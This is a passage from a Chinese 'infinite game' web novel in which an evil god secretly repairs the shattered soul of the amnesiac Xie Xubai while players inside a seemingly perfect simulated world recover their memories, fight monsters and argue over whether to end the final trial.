“都是活过好几个朝代的老家伙了,怎么还搞迁怒那一套?来不及挽回事态的是你,眼睁睁看着谢叙白赴死的还是你,妄负邪神之名。” “你现在来折磨那只鲸鱼又有什么意义?不是在把他往谢叙白的身上推吗?你就那么有信心失去记忆的谢叙白不会爱上其他人?” “还是说你一直在嫉妒?嫉妒岑海跃能够肆无忌惮地陪着谢叙白游山玩水,而你却连多看他一眼都怕搅合了他现在的安宁。” “谢叙白灵魂破碎就那么让你畏惧?反正也不止这一次两次的了。难道你忘了?当初为了将闭目塞听的你从无垢海底唤醒,他被逼无奈只能撕碎自己的灵魂。” …… 无论白影如何骚扰挑衅,宴朔都是面无表情不为所动。 直至白影忽然安静下来,发出一声哀伤的轻叹。 “宴总啊……” “我那么喜欢热闹,临死前就剩你在身边。你怎么忍心不看我?你看看我吧,宴总,看看我……” 宴朔手指一颤,抬起头,正对上白影的脸。 病恹恹的,毫无血色,染满疲态,仿佛一阵风吹来就散开。 但比风更快的,是极轻的咔嚓声,清脆如玉碎珠沉。 白影一张和谢叙白别无二致的脸应声而裂,缝隙从眉心蔓延至下颔。 他绝望地闭上眼,轰一声化作飞灰散去,速度快得宴朔来不及用手去堵住裂纹。 宴朔维持着手臂举在空中的姿势,长达半个小时没有动弹。 半小时后,白影再次出现,用那温柔似水的嗓音说:“看吧,同样的事情无论发生多少次,你都阻止不了——你永远都阻止不了。” 心魔。 宴朔对它们的存在并不陌生,年少不更事的时候甚至钻进别人的意识海里吃过几只,一只比一只难以下咽。 最后一次苦到反胃,宁肯饿晕也不愿再碰。 如今宴朔倒是想将白影一吃了事,但医者不能自医。 幸运的是,心魔也不是每时每刻都具有攻击性。 偶尔它也会状似好意地提醒宴朔,比如现在:“今天也要去吗?” 要去。 宴朔放下企划案,掐着时间把自己收拾了一下,然后闪现到谢叙白家楼顶。 月明星稀,夜色愈深。居民楼的灯光渐次熄灭,但谢叙白家仍旧热闹。 谢裴二人照例串门,江凯乐和蝉生也赖着各自的监护人暂住在谢叙白家楼下。一到饭点,大大小小一帮人就拎着酒菜上门,卤鹅牛肉蒸螃蟹炖鸡汤,吃得心满意足。 饭后坐在一起看电视是谢家惯有的休闲活动,人一多,难免有些拥挤。客厅不算小,但沙发不够大。 所幸赵芳不久前买电饭煲抽中二等奖,好巧不巧是张豪华大沙发,甚至带有按摩和伸缩功能,将将契合客厅的尺寸。 这下全员到齐也坐得下了。 谢叙白习惯坐在两夫妻的身边,谢语春他们来了之后,就顺势坐在最中间。 原本赵芳这边没什么亲戚,谢怀张那边和父族老死不相往来,哪怕过年都没什么人能聚一聚,现在又成了浩浩荡荡一大家子。 最开始,谢叙白还会因有外人在,矜持严肃一下。 后来和大家混熟,他直接原形毕露,绒毛毯子往身上一盖,砂糖橘剥好往嘴里一塞,整个人就跟泥鳅似的瘫软下去,非要裴玉衡将他提拎起来,再往他嘴里塞上几颗腰果,才唔唔嗯嗯地坐直身。 但没多久,谢叙白又会往下缩。 他不怕别人骂他坐没坐相,又或者心里门儿清自己是被惯着的,蹬鼻子上脸,很有底气。 他也是好胃口。岑海跃剥的瓜子,他来者不拒,两个小同学喂的薯片,他一应笑纳。 猫猫狗狗玩弄他的头发,咬他手指和衣服,他揭眸看过去,弯了弯眼睛,或是佯装不知情任由“揉捏”,或是探手将毛团子们往怀里一塞,嘻嘻哈哈地逗。 宴朔席地而坐,静静凝视着。 直至深夜,万籁俱寂,串门的各回各家,谢叙白也洗漱完毕回屋睡觉,他方从阴影中现身,靠近睡梦中的青年。 青年无疑是放松的。 以前他睡觉,总会蜷缩身子,绷紧浑身肌肉,摆件似的一动不动,警惕着随时可能发生的意外,神色淡然乃至于冰冷。 如今他大大咧咧地放开手脚,嘴角上翘,倒真有点像个没心没肺的男大学生。 宴朔把被子给他掖好,站在床前,半弯下身。 他没见过这样的谢叙白,一时有些新奇。 又或许他见过,几百年前的和尚就是这么不拘小节,没个正经。 但一遇到民不聊生,生灵涂炭,青年就会立马强硬起来,展现沉稳凌厉的一面,连神都要畏惧那锋芒。 宴朔不知不觉看了很久,久到心魔都按捺不住,蛊惑道。 “亲呀,亲下去呀,他睡得这么熟,不会被发现的。” “你连金屋藏娇都想过,怎么现在连亲一下都不敢?” 夜色越来越浓,薄纱窗帘倒映着树的枯影。 银白月光洒入房间,触手在墙壁的阴影中翻涌,像月色下的海浪,潮起潮落,欲说还休。 它亦步亦趋地向熟睡中的青年探去,越来越近。 就在将要碰上的一刻,谢叙白忽然惊醒,冷声喝问。 “谁?” 没人应声。 谢叙白坐起身,打开台灯,环顾四周什么也没看见。 他皱了皱眉头,呢喃着自己疑神疑鬼,关上灯又睡了回去。 好半天,阴影中才钻出来一只巴掌大的黑色小章鱼。 心魔嘲讽宴朔没出息,小黑章鱼面无表情当听不见,悄无声息蛄蛹到谢叙白的身边,触手一挥,揭开对方身上的伪装。 谢叙白还是那个谢叙白,但在小黑章鱼的眼中变了副模样。 他的身体内部不再是完好无损的灵魂,而是一堆七零八落的碎片。 诸神赐福的威光交相辉映,将这些碎片扯住,勉力维系着一个还算完整的人形。 整个画面耀眼又破碎,像超新星爆炸后在银河中洒下寂灭的余晖。 谢叙白破碎的灵魂还未修复完全。 他的记忆也不像岑海跃以为的,丧失得那么彻底。 小黑章鱼将触手浸入诸神的威光中。 光明鞭笞黑暗,祂的表皮滋啦作响,如油烹火炙,令人头皮发麻。 但祂一动不动,不知疼痛,满目漠然。 直至触手表面覆盖住一层光亮的薄膜,小黑章鱼才伸向谢叙白的灵魂碎片,开始拼凑。 这个过程极其漫长且耗费精神力,毕竟不能像拼图一样,粘上去就了事。 而灵魂碎裂也分程度。有的像玻璃从一米高的柜子上摔下去,有零有整,还算好拼。有的就碎得非常均匀,几百上千乃至于上万份,像丢进了搅拌机,从外到内的破坏。 谢叙白不幸是后者,而且这不是他第一次灵魂碎裂,要更脆弱。 宴朔像拿着刀在薄冰上刻字,稍有不慎,就会…… “咔嚓。” 祂的眉毛触电般一抽,视线往上,看向凑到眼前的白影。 “谢叙白”的脸四分五裂,碎屑像玻璃渣顺着温柔上扬的嘴角,淅淅沥沥地往下掉,催促道:“怎么不继续?” 宴朔闭了闭眼,平复起伏不定的胸口,继续拼凑。 这“咔嚓声”如附骨之疽,全程不停。 宴朔拼了多长时间,它就响了多长时间,从远方,从手下,从耳边,从脑海,从内心深处。 大概两小时后,宴朔让自己停手。 邪神不善修复治愈,祂的触手已经开始颤抖。祂可以对自己的状态置之不理,强行继续,却不能允许谢叙白有一丝伤上加伤的可能性。 而后宴朔给谢叙白重新施加伪装、防御屏障、各项禁制与认知干扰,一层接一层,条理不紊,不嫌麻烦,就像祂无数次做过的那样。 这时,一只劲瘦有力的手伸出,猛地将小黑章鱼攥在手心,按在床板上。 宴朔心跳漏掉半拍,仰头瞪眼,看向不知何时醒来的谢叙白。 然而谢叙白看向祂的目光只有陌生和警惕,就像对待一头危险的怪物。 他鬓发散乱,眉宇虚疲,沉下嗓音质问:“你对我的身体做了什么?” “是你在控制这个世界?你有什么目的?” “说。” 金光大绽,在谢叙白冰冷的审视中寸寸相逼,将小黑章鱼的身体勒出血痕。 邪神不需要氧气和呼吸,宴朔却在此刻感觉全身血液涌上头顶,无比窒息。 他艰难地换气,去拽谢叙白的手:“你先听我解释——” 却拽了个空。 眼前只有冰冷的空气,再往上看,是阴影涌动的天花板。 谢叙白仍旧睡在床上,双眼紧阖,状似好眠。 一阵刺目的亮光掠过窗棂,汽车压过马路,发出一两声凄清的鸣笛。 小黑章鱼的瞳孔睁了又睁,半晌,翻起身,用力地掐一把眉心,无声地深吸一口气。 祂看向谢叙白,青年呼吸均匀,眉宇舒展带笑,睡得那叫一个香甜。 祂忽然生出一分恼意,硬邦邦地板起脸,搂过青年的腰,朝人身后轻轻地抽打一下。 小黑章鱼变回人形,身旁出现一团碗大的阴影,小触手卷着系统核心从里面钻出来,贪婪注视着谢叙白的脸,压抑沉闷的声音只有宴朔能听见。 【我一直忍着没有出来见白白,因为你说过……】 正常人的生活不需要怪物。 宴朔没说话,将系统核心拿过来。 经过小触手的一番“把玩”,核心表面早已四分五裂,和破铜烂铁没什么区别。 虽然听不见什么声音,但宴朔知道系统在装死。 系统为了让人类神化自己,才模拟人类认知里的游戏系统,制造出这个形象,不代表它真的是一台不知疼痛的机械。 宴朔设下静音屏障,将核心拎起来,忽地一捏。 本就破碎的系统核心咔嚓一声,外皮几乎被碾为齑粉,里面传来高亢的惨叫。 宴朔轻笑。 祂掐着系统濒死的点,用黑雾将它的核心修复好,再捏,再修,咔擦咔擦咔擦,如此反复,像玩弄老鼠的猫。 在宴朔的另一只手上,飘浮着一团斑驳的黑雾,那是从谢叙白意识海内剥离出来的精神淤质。 每个人的意识海都有精神淤质,就像积在家具缝隙里的灰、灶台上的油垢,长时间不处理,就会变成压垮精神的负荷。 治疗起来非常麻烦,如果患者太强势,甚至会反过来侵蚀治疗师的意识海,所以高级精神抚慰师才会是凤毛麟趾的存在。 而当初的谢叙白,就是凭着一手高超的精神疗愈技术俘虏大部分使徒的心,救下无数差点崩溃的灵魂。 也因此,给自己积攒下庞大沉疴的精神淤质。 宴朔一手揉碎系统核心,一手把玩淤质,心说怎么办呢,祂又不会处理这种东西。 窗帘轻晃,月光照见祂高高上翘的嘴角。祂随手一挥,将淤质抛向远方。 淤质被丢出去时轻飘飘的,到半空中却突然加速,越变越大。 它如同一颗漆黑的流星,速度直逼火箭的30马赫,穿过高楼大厦,横贯山谷海峡,打破沉寂的夜幕,轰一下坠地! 警报在城市上空嘹亮拉响,但惊醒的只有一部分人。 地板疯狂摇晃,桌椅板凳哐啷碰撞,十七岁高中生吓得从床上弹跳起身,脑子还是懵的,撑着墙壁失声大喊:“啊!我的头!啥情况啊这是?爸妈快起来!地震了!” 门外脚步匆匆,老母穿着睡衣气势汹汹地推门而入,啪一声打开灯,怒吼:“半夜三更的你不睡觉在这里叫什么叫?” 高中生被掉落的粉尘糊了满脸,一边呛咳拍灰,一边对老妈不敢置信地瞪大眼:“这么大的动静你没感觉吗?” 她爸也在这时走来,听到这话和妻子一个表情,茫然且懵逼:“啊?” 地面还在晃,爆炸声从楼外传来,亮起灼目的火光。 高中生顾不上父母狐疑的目光,飞快冲到窗边,拉开帘子,推开窗户朝外看,下一秒大惊失色。 只见夜色茫茫,一头遮天蔽日的怪物屹立在城市中央,至少有五十多米,面目狰狞可怖,似牛非牛,似虎非虎,一尾巴将一栋大楼拦腰抽断! 但是没有大范围人员逃窜,怪物的攻击似乎不会对他们造成影响。 只有数百人似乎能观测到这里发生的灾难,匆匆忙忙往这边赶,事发突然,有的人甚至还穿着睡衣拖鞋。 “这次是S级诡怪,凭我们搞不定啊!” “再多叫点人来,建立局域网共享情报!还没联系上老张他们吗?” “他们回老家走亲戚,一小时前刚上的高铁,时速三百公里过隧道,信号延迟比血压还高,我拿头联系?” “就非得这时候走吗?!” “春运啊大哥,晚了没票!” “……靠!” “24小时内必须把它杀死,不然它造成的破坏会具现化,这里的人都得死!” …… 不知为何,看见他们浴血厮杀的模样,高中生的脑子里冒出一个念头: 我得去帮忙。 她的身体快过大脑反应,往前一倾,脚掌蹬上窗台,跳了下去。 寒风掠过脸颊,她听见老妈在头顶尖叫,高喊她的大名。 她在这一刻想起自己家住五楼,这个高度摔下去绝对要命,但身体很轻盈,像展翅翱翔的飞鸟。 最后,她平稳落地。 远在几百米开外的街道上,高中生看见有人在发装备,仓促地喊一声:“爸妈别担心!我去去就回!” 就冲了上去。 真正的战斗就像滚雪球,眨眼步入白热化,多一分钟都耽误不了。 等高中生赶到临时补给点,怪物已经摧毁大半个街区,火海熊熊冲天而起,而它正准备向下一个区域前进。 高中生来不及细看,随手拿起一把能量枪,行云流水拔开安全栓。她扭头要冲进战场,后勤人员猛然拉住她:“先等等!告诉我你是谁?” 我是谁? 这话把高中生问住了,是以她充斥热血的大脑骤然冷却下来,一脸呆滞。 后勤人员就怕遇上这种情况,之前也出过好几次意外。 记忆刚复苏,对自己有什么战斗技巧和能力都迷迷糊糊,这时候跑去和S级诡怪对打,那不是送死吗! 他耐心而不失速度地引导道:“我知道你很着急,但你必须先冷静下来,认真看着那只怪物,去想象自己以前战斗的画面,然后告诉我,这里是什么地方,你又是谁?” “这里是什么地方……?” “对!” “这里……这里是……” 高中生迷茫地抬起头。 天空还是那个天空,冬季总是阴沉沉的,偶尔飘雪。但怪物的出现打破了什么,令它有点失真。 高中生看向自己的手,眼前走马观花般浮现出很多画面。 这双手白嫩干净,掐一下就红,曾在学校课桌上奋笔疾书,接过奶茶,拎过麻辣烫,拿起手机拍美美的妆造。 也曾被人从獠牙陷阱前紧紧拽住,沾满泥土,皲裂出血,指节磨出老茧,从生疏到熟练地操控起各种道具,把谁给救下。 “这里是副本。”她青涩带颤的声线越来越稳,越来越平静,“我们是玩家。” 第282章 觉悟 S级诡怪凶残强大,惊喜的是玩家这次没有受到失忆以外的任何限制,不仅能够使用【游戏论坛】,甚至可以用文字记录和传播副本内容! 在场玩家当即在论坛里发布求助帖子,实时共享战场定位。不到十分钟,八名高级玩家跨省赶来支援,中途陆续有人手加入战斗。 经过长达五小时的激烈鏖战,终于将S级诡怪击败。 危机解除,无重大伤亡,当地居民也没有被影响。 玩家们长舒一口气。 是因为增援及时吗?顺利得不可思议。 S级诡怪庞大如山的身躯轰一下倒在地上,散作漫天晶尘,沿途洒落在残垣断壁上,宛如魔法师隔空施下咒语,不一会儿毁坏的建筑物恢复如初。 此时天刚蒙蒙亮,夜色未褪,头顶还有星辰闪烁。两副景象交织在一起,乍如九天银河飞流直下。 有人不由得感慨道:“单看这一幕还有点浪漫。” 吴勇也这么认为。 他想把这一幕拍下来分享给老婆,一摸口袋是空的,才发现自己走得匆忙,忘记带手机。 算了,那就等下一次…… 突然有人激动地嚎了一嗓子:“大家快看论坛版主的置顶热帖!有大佬捕捉到诡怪出现的路径,正通过卫星定位锁定方位,相信很快就会得出答案!” 其他人连忙打开论坛,里面已然炸开了锅。世界各地陆续有玩家恢复记忆,自发地展开调查,各种讨论热帖层出不穷,热度瞬间攀升至几十万,单单中洲版块一秒就有十几个帖子。交流处境、分析副本、临时组建行动小队……看得人眼花缭乱。 事关全球命运,中洲区论坛版主破例解除区域网络限制。现在他们能够在【大世界】版块观察其他洲区玩家的动向,交换情报线索。 各个顶尖公会相互间已然取得联系,达成战略合作,紧急召开作战会议,派出人手集结普通玩家。 赶来支援的高级玩家里就有巅峰小队,组长是个浓眉大眼的男人,一身肃整的军人气质,做事干净利索,他把刚才的情况整理成资料上传,面向众人:“一旦锁定BOSS的位置,我们就会立刻展开行动。这是最后的试炼,也可能是最艰险的一次挑战,我们由衷恳请大家都能献出一份力。” 群情高涨,奋勇当先。 却在此刻插进来一道迟疑的反问声:“……有必要这么着急吗?” 其他人一愣,皱眉看向说话的吴勇。 这是最终试炼,只要通关就能赢下无限游戏。所有玩家前赴后继只为这一天,居然有人想在这个节骨眼上打退堂鼓? 宛如一盆凉水兜头淋下,气氛瞬间降至冰点。 吴勇的朋友赶忙冲出来,将人拉到后面去,向大家赔笑:“没有没有,他不是那个意思。这家伙准是睡迷糊了还没醒,以为我们现在就要打最终BOSS,那可不得好好准备一下吗?” 巅峰组长深深地看了吴勇一眼,倒是没有追究,微笑道:“当然。我们尚不清楚副本的规则禁忌、通关条件和最终BOSS的实力,肯定要做好周全详细的调查后再行动。” 这话一定程度上缓和了紧张的气氛。 其他人不再看着吴勇,继续刚才的讨论。 然而也有人眺望起某个方向,露出和吴勇相同的迟疑。 朋友把吴勇拉到没人的地方,气得脸都红了:“你刚才是疯了吗,也不看看是什么场合,万一把你误会成叛徒该怎么办?你到底是怎么想的?” 话音未落,铃声响起,朋友看也不看接通了,皱眉不耐烦地问:“什么事快说。” 忽然他脸色一变,谄媚讨好地笑起来:“媳妇,是你啊。没没没,我怎么可能出去鬼混,再说天都要亮了,谁会挑这个时间点啊。不是不是,真没鬼混,一次都没有!你问我在哪儿……勇子这边遇到点事,我来帮忙,真的,不信你问他。” 朋友将手机递给吴勇,双手合十挤眉弄眼疯狂请求。 吴勇接过手机,向那头的女人保证他们半小时内肯定回去,才勉强安抚住对方。 “弟妹让你回去的时候记得买早饭,壮壮要吃牛肉包子。” “行,我回去的路上买。”朋友松一口气,“谢了兄弟,但是你——” 他想继续刚才的话题,却突然僵住。 看着通讯页面上“媳妇”的备注,朋友慢慢绷紧脸皮。这一刻,他懂了吴勇的迟疑。 “我不明白。”吴勇说,“你媳妇儿子,我媳妇闺女,刚子,老李,老王……我们在游戏里那么拼,就是为了复活他们。如今他们都在,我们还有必要改变现状吗?” 朋友厉声反驳:“但那些都是假的,别忘了这里是副本。” “真的吗?我和媳妇结婚二十多年,我感觉她不像假的。”吴勇反问道,“你呢,你觉得现在的弟媳妇和壮壮是假的吗?” 朋友语塞,捏紧手机:“……” 吴勇:“凭系统的阴险程度,没准真会在最后一场副本里投入真人的灵魂,构建一个让人舍不得离开的温柔乡。又或许我们都认错了,毕竟已经过去那么长时间,谁还记得当初是什么样子。” 朋友沉声:“如果是假的,我们必须打破这个副本;如果是真的,那就更应该打破它,让大家脱离苦海。” “问题是这个世界不苦啊!” 吴勇露出一个苦涩的笑:“包工头把欠我们的工钱结了,足足十多万,还每人给包了一千多的辛苦红包。老家的房子拆了,规划铁路线,到手又有几十万,够我们那旮旯买车建新房。” “你可能觉得我没出息,有这一身从游戏里得到的本事,回到现实世界,去哪儿混不开?我老爸当初患癌走的,没几年老妈也吞药走了,但是在这个副本里他们还活着——健康高兴地活着!” “老话常说无知是一种幸福。”吴勇喃喃道,“活在虚假里也没什么不好。” 和朋友的争执最终不欢而散。 吴勇颓然地搓了把脸,不忿地想,到底有什么不满足的? 他回家,妻子正满大街着急地找他。他冲上去拥住妻子温暖的身体,心说:赢下游戏后,死去的人就一定能够复活吗?会有熟悉的面孔像这样来找他回家吗? 他看新闻,讹人的老头老太太被判赔了钱,心说:放在现实里,这可能吗? 他走上大街,一个闯红灯插队的都没有。学生上班族下午四点准时放学下班,公园商场满是欢声笑语。 他去买菜,一条新鲜的鲈鱼只要5元,各种新鲜蔬菜打包免费送。问菜农能不能赚钱,后者开怀大笑说:放心有补贴,现在的农民非常能赚钱。 他上网,看见慈善机构被勒令公开捐赠款的流水走向,一所所希望小学建成。 各地风调雨顺,11月份到现在甚至没有出现一例天灾。 现有的癌症陆续被攻克,人民幸福指数提升了,什么都能实现了。 这样的生活难道不幸福吗?副本没有限时,他们本来就可以一直留在这个世界。 他错了吗?他没有错。 几天后。 当吴勇所在的团队又一次成功击败A级诡怪时,巅峰组长带来一个令人振奋的好消息:他们已经锁定了最终试炼BOSS的方位。 “行动时间就定在明天的早上六点。如果有人此前没有加入势力组织,但有意向和大部队一起行动,可以找我右边这位姓张的统计员报名,巅峰会为你们提供后勤支持。” 在众玩家反应不一,有人认真,有人犹豫。 朋友看向闷着脑袋的吴勇:“你去不去?” 吴勇没吭声。 为征讨诡怪而短暂建立的团队原地解散,明天一早,一部分人会重新回到这里,成为攻略本次副本的主力军。 朋友决定加入这一队列。 目视吴勇沉默离去的背影,他张了张嘴,到底没有挽留,长叹一口气,向负责人提交自己的报名信息。 同样参与行动的玩家过来混个脸熟,看向吴勇离开的方向,挑了下眉头:“刚才那人是你的朋友?” 朋友点头。 这人吹了声口哨,安慰道:“没事,人各有志嘛。” 他带着看热闹的兴味随口一提:“说起来,他回去那个方向的磁场最近两天很不稳定,可能会刺激NPC短暂异化。” 有些关键情报只在加入队列后才能得知,朋友也是第一次听说这事,心脏狠狠一咯噔,着急追问:“什么异化?” “还能是什么?变成怪物咯。但是放心……” 怎么可能放心! 朋友没来得及听后半句,边跑边疯狂联系吴勇:【勇子!看得见吗?先别回去!】 然而十分钟前吴勇已经抵达家门口。 他坐在楼梯上,给自己点了一根烟,白烟弥漫,游戏界面的微光倒映在吴勇死寂麻木的眼睛里。 看着朋友给自己发的消息,他回复:【没事,我知道。】 就在吴勇身后,手臂粗细的血管如树枝般爬满整扇房门,肌理清晰,鲜活温热地跳跃着,里面传出“砰!砰!……”的劈砍声,令人牙齿发酸。 吴勇冒险探查过,媳妇剁的是牛骨,非人,这也是他能相较冷静地坐在这里的原因。 异化出现于三天前,最开始只有一家人,后面整栋楼、整个小区都是这样。 他在论坛咨询管理员,后者告诉他不用担心,磁场稳定后就会恢复原状,这几天尽量不要刺激异化的NPC。 他又发帖子求助,竟然有不少人都遇到过这种情况。但因为恢复得很快,大家只是一时惊异,没有太当回事。 有人大胆猜测,或许当初死去的人全都被系统改造成了副本诡怪,现在属于映射残留,就跟游戏出故障卡出图像叠层一样。 然后大家就对“变成诡怪后还是不是曾经那个人”展开了激烈争讨。 不知道为什么,大多数人都没讨论到最后。 情绪是可以传染的,吴勇翻了几小时帖子后,也觉得无所谓了。 谁没被诡怪杀过,谁没见过熟人惨死,谁没经历从希望到绝望,谁不知道这个世界是假的? 人看着那么脆弱,承受阈值有时候真高得离谱,吴勇心里甚至有一股释压般的快意和轻松。 之前的生活太美好了,不真实,不适合他们这群习惯打打杀杀的人。 现在才对嘛。 吴勇又吸了一口烟,吐出浊气。 帖子上说异化发生后最好离远点,虽然没什么危险,但心理上可能接受不了。 他感觉良好,懒得躲,兵来将挡水来土掩,大不了要命一条。 就在这时,吴勇听见身后传来一阵沉重的脚步声。 “吱呀——”门开了,浓郁的血腥味弥漫开,一道人影逼至他的身后。 他反应更快,在那身影靠近的一瞬间拔出刀,抵在对方腐烂生蛆的脖子上,压出一道刺目的血线。 “滚进去。”吴勇冷冷地说。 这个有着他妻子模样的怪物,他还不能杀它,万一死了之后变不回去怎么办? 但情况不太对。 一般诡怪都不会轻易跨出自己的地盘,也不会违背原来的行动轨迹,他见过的售货员诡怪只在超市活动,司机诡怪必须开车。 今天,这只怪物却开门走了出来。 怪物看着他,没说话。 就在吴勇以为副本出bug的时候,怪物张嘴:“囡囡想你一整天了,今天怎么回来得这么晚?” 吴勇愣了一下,猛地咬紧后槽牙。 “饿坏了吧?我去把饭菜热一热。” 吴勇呼吸愈发不畅,牙齿咬得咔擦作响。 “你不是想吃牛肉吗,我买了一整张牛肋排,就是刀钝了,有点难剁。” 它的喉管有个窟窿,嗓音粗粝得像旧风箱。语气有多亲昵,压低的嗓音就有多嘶哑可怖,吴勇就有多难受,刀扎进心里一般,鲜血淋漓。 够了。 吴勇心里怒吼,够了啊,这群怪物,到底还要—— “阿勇。”怪物扶住脖子上的刀,“吃完这顿饭,你就走吧。” 吴勇:“……” 一瞬间压抑十多天的怒火被抽了个干净,他有点发晕,直勾勾地看着眼前的怪物。 “太累了,咱们就不干了,不忍了。你一个人生活,要照顾好自己,啊。” 怪物腐烂的手贴在吴勇的脸颊上,血肉黏腻,很是腥臭。 吴勇想,如果怪物敢往前进一步,他一定把她甩开,但怪物只是这样心疼地抚摸他。 于是他嘴唇哆嗦,终究没忍住抱上去,发出撕心裂肺的嚎哭。 ——这就是他朝夕相处二十多年的老婆啊。 自欺欺人的泡沫被戳破,吴勇猝然直视他的自私和卑劣,自己都为之惊愕,难以言喻的羞愧让他头重脚轻,悲痛欲绝。 怎能让她困缚在自己的幻梦里,不得解脱? 第二天一早,朋友在队伍里看见了一脸憔悴的吴勇。 他张嘴,想说点什么,又怕刺激对方,但吴勇很平静,把早餐袋子递给他,里面有几个喷香的卤鸡蛋:“饿吗?世英大早上起来做的。” 朋友拿起来,嗅到一股腐臭味,正要提醒,却见吴勇已经熟稔地剥开一个塞进嘴里:“放心吃,测过了,食物没问题,只是沾了点味。” 朋友看他面不改色,嘴角抽搐:“你牛逼。” 又见吴勇行囊满满,明显有人给收拾整理,忍不住问:“怎么给嫂子说的?” 吴勇把蛋壳和沾油的塑料袋丢进垃圾桶,擦了擦嘴:“她没问。我说年前工资翻倍,出来多赚点钱。” 他翻手一拍,检测装备库。一把把利器反射出阵阵寒光,杀气逼人,映入吴勇柔和的眼帘。他俯身亲一口手上的婚戒:“等我回去,我们就带着囡囡一起回老家过年。” —— 又是几天后,联盟中央大厦议会厅。 这是一个用玩家技能临时开辟出来的秘密房间,灯光透亮,光纤电缆环绕指示台纵横交错,底下是阶梯形式从低到高排列的座位,头顶是24x24的监控屏幕。 原本这些监控由玩家牵线分布在世界各地,自从收到某佚名人士透露的情报后,就基本锁定在了中洲区的H市。 “调查结果怎么样?” “还是无法查明情报透露者的确切身份,但ta没有特意掩饰自己的力量波动,我们的人通过对比分析,可以排除对方是玩家的可能。” “不是玩家,那就是NPC?” “不不不。” 调查员拿起红外线光笔,给众人展示了一下探测到的巨幅波动阈值:“拥有S级威压,并且可以展开领域,号召不低于自身等级的诡怪。通常我们把这种家伙称之为——【诡王】。” 顿时有人倒吸一口凉气:“你想说ta是S级诡王?” “那ta很有可能是这次副本的BOSS!” “是BOSS,但大概率不是最终BOSS。任务提示中给出的诡王等级是三个问号,无法勘测,完全未知。如果只是S级诡王,何必这么兴师动众?” “ta会不会给我们假情报?” “一开始我们也是这样想的,直到之后通过复现诡怪的行动轨迹……看。” 调查员在屏幕的地图上标记出十几个小点,同时向后划出行动轨迹,而交错的地点正是H市。 “事实上,【H市】这一线索早在生成副本标题的时候就告诉我们了,但进入试炼后我们连这个城市的影子都没看见,在所有人的认知里,那就是一片什么都没有的荒原。” “但当那个诡王联系上我们之后,地图上突然出现H市的图标,我们用卫星再度侦查,那座不存在的城市——H市竟然真的出现了!连地形都发生了改变,左有群山,右靠大海。” “所以我们分析,或许本次试炼的最终BOSS并不希望玩家找到ta,从而屏蔽了我们的认知。但是将位置透露给我们的S级诡王,姑且称之为【无名】,和最终BOSS产生了分歧,期望我们能够前往H市。” “会是陷阱吗?” “不……或者说没必要。我们分析过能量图谱,H市相当于一个污染源,影响力却能辐射整个世界。拥有这种力量的最终BOSS要想对付我们,根本不需要什么花里胡哨的手段。” 调查员一脸如临大敌的模样:“这也是真正棘手的地方,或许我们要面临的对手,会是——神!” “但是这不可能!” 画面一转,来到使徒公会的内部会议室。 契约神祇为【酒神狄俄尼索斯】的第七使徒希尔拍桌而起,反驳:“神祇不可直接插手副本,这是white逼迫系统更改的游戏规则,任何人都不可能打破!” 神祇不可直接插手副本,为的是限制系统使用宇宙外神级别的力量。不然大部分玩家还没成长起来,就会遇上降维打击。 也多亏这一规则,游戏重启后的存活率和通关率才不至于那么令人绝望。 “我们都知道,你冷静点行吗?” 看着眨眼间就在屋子里疯长并开始张牙舞爪的绿色菟丝花,契约神祇为【信使赫尔墨斯】的第六使徒心有余悸地往后一大退。 S级玩家和普通玩家在捍卫自家偶像时的区别在于,后者要是激动顶多抡膀子干一架,前者激动起来,房子都能拆咯。 索性其他使徒早已见怪不怪。 自从使徒公会内讧之后,他们就再也没有这么齐全地聚在一起,如今气氛也算不上热络,会议室里弥漫着公事公办的生硬感。 契约神祇为【黑山羊幼崽】的第十二使徒小羊看向本次会议的发起人:“莉莉丝,你是怎么想的?” 坐在首席的金发轮椅少女,契约神祇为【空间异兽】的第三使徒莉莉丝只一个抬手,就把所有的菟丝花困缚在一起,在希尔的怒目相视中冷淡道:“你自己不都说了吗,规则可以更改。” “所以说不可能,除非他也想white一样自爆一次!但我们都没有看到这种情况出现——” 触及莉莉丝不置可否的眼神,希尔猛然反应过来,沉下脸道:“难道你在怀疑white?” 莉莉丝和他对峙,蓝色眼瞳倒映着变化的星盘图纹,没有任何情绪波动,双手交握不让分毫:“不,是证明他的清白。” 莉莉丝道:“希尔,如果你听不懂,我就再说明白一点。如今记录在案的契约神祇中,只有两位拥有这种大范围篡改精神认知的能力,其一是成神后的white,其二是邪神。” 好巧不巧邪神就是white的契约神祇,一下子把嫌疑锤得不要更死。 “既然最终试炼能够开启,就证明white已经战胜系统,夺得核心,解除封闭屏障。” “以他的为人和行事风格,但凡能够控制副本的走向,那一定是能够在最短时间轻松完成的试炼。” “但是我们却失忆了,副本的操控者拖着我们沉沦在这个名义上的完美世界里,不打算让游戏结束。” “从进入副本到现在,white也一次都没有和我们联络过。” …… “可疑点一个接一个,不是简简单单用‘意外’这种借口就能忽略过去。” “white身份特殊,贡献卓绝,理应得到特殊对待。然而任何形式主义和政治正确都要为人类的未来让步,这也是white当初的原话。在内部疑似出现叛徒的时候,也是他第一个站出来申请自查,以身作则。” “综上所述,我们需要排除white的嫌疑,对民众负责。” “别说得冠冕堂皇了!”希尔反唇相讥,“真到你被怀疑的时候,你会束手就擒任由他人把你丢进审讯室吗?” 莉莉丝懒洋洋地道:“当然不会,因为我知道自己是清白的。只有white那样天真的家伙才会说着什么【身正不怕影斜】,然后把自己置于他人的目光拷打下。” “但你也不用怀疑,如果我有嫌疑且拒不配合,white一定会亲手把我扭送到审讯室。不只是我,你们也一样,有一个抓一个,有两个逮一双。” 希尔一哽,说不出反驳的话。 “而且我也没有和你们商量。” 莉莉丝拍了下手掌,空中陡然出现一个半透明的大屏幕,与联盟会议厅的576个监视器连接,上面播放着某个玩家进入H市后的实时监控画面。 画面正前方大概一百米开外的街道上站着一个颀长挺拔的青年,他微微弯下腰,似乎在认真地挑选水果。 在场几人的注意力立马被吸引过去,因为那青年就是谢叙白,曾经的第一使徒white。 此时坐在莉莉丝右手下方的白色神袍男子,契约神祇为【治愈天使拉斐尔】的第二使徒米埃尔终于开了口:“你什么时候找到的white?” 莉莉丝倒是没有隐瞒:“一星期前。” 一星期前他们刚收到S级诡王【无名】的情报,甚至都来不及检验它的真实性。 行动居然如此急速。 米埃尔在此刻发现莉莉丝的态度不同寻常。 他环顾四下。 抛开背叛的第十一、第十、第九使徒,背叛未遂还在关禁闭的第四使徒乌鸦,以及卧底献身目前生死不明的第五使徒奥古托夫,还有一个人不在场。 米埃尔:“你派巴瑟去试探white?” 